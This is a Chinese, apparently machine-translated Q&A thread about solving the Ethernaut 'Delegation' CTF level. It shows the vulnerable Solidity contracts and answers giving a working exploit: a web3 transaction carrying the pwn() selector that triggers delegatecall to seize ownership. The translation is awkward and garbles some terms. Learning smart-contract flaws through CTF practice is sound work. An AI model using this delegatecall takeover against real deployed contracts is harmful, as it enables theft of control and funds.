我正在经历ethernaut ctf的挑战,我正试图通过我自己的智能合约获得这份合同的所有权,这是目标代码:
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
我的假设是,您可以利用此代码,并通过在Delegate合约中传递对应于Delegate契约中pwn((函数的委托合约中传递msg.data来获得所有权(使用委托调用,这将允许我们获得委托合约的所有权(。我的问题是传递msg.data,我不完全确定如何正确处理,下面是我的尝试:
合同所有者攻击{
function attack(address payable _victim) public payable {
address to = payable(_victim);
(bool sent, ) = to.call{value: msg.value}(abi.encodeWithSignature("pwn()"));
require(sent , "transfer failed");
}
receive()external payable{
}
然而,转移失败,提前感谢的帮助
您已经正确地确定了这方面的方法;在调用即时合约(Delegation(时,我们必须发送目标合约(Delocate(的函数选择器。
为此,我们可以使用Web3JS或EtherJS。Ethernaut控制台支持Web3JS,所以我们将在这里继续讨论。
首先,我们必须计算pwn()
函数的选择器。
const selector = web3.eth.abi.encodeFunctionSignature("pwn()")
其次,我们必须调用Delegation,但调用pwn()
作为其函数。通过这种方式,会触发回退函数,然后对选择器位于事务的msg.data中的函数进行委托调用。因此,委托契约的pwn()
函数被调用。
要进行调用,我们只需使用sendTransaction,如:
await web3.eth.sendTransaction({from: player, to: contract.address, data: selector})
这应该能回答你的问题。
我认为Hasan Answer会起作用,但如果你想完全在solidity内部进行攻击,我认为你可以通过以下操作获得函数签名:
bytes4 encodedSignature = bytes4(keccak256("pwn()"));
使用keccak256进行哈希处理,然后将其强制转换为字节4,这是Solidity生成函数签名的最佳方式,因此这应该可以工作。
但经过一些研究,看起来你也可以用这个来检索它:
Delegate(0).pwn.selector
然后使用返回的值进行攻击。
以下也适用:
bytes memory selector = abi.encodeWithSignature("pwn()");
(bool success, ) = address(c).call(selector);
c是委托方调用的合同地址
如果您从合同中进行调用,则所有者将被设置为您从中调用的合同。
因此最好使用Hasan提到的sendTransaction方法。